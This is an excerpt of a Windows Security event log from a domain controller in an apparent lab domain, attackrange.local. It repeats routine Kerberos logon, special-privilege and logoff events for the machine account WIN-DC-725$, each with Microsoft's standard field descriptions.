This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248616
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDBAA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63976

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248615
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDBAA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248614
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDB34

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248613
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDB34
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63975

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248612
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDB34

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248611
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDAAF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248610
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDAAF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63974

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248609
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDAAF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248632
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDDE1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248631
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDDE1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63981

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248630
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDDE1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248629
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDD80

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248628
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDD80
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63980

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248627
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDD80

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248626
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDD1A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248625
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDD1A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63979

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248624
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDD1A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248623
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDCB9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248622
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDCB9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63978

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248621
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDCB9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248644
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDF96

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248643
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDF96
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63985

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248642
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDF96

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248641
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDF35

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248640
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDF35
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63984

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248639
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDF35

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248638
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDECF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248637
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDECF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63983

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
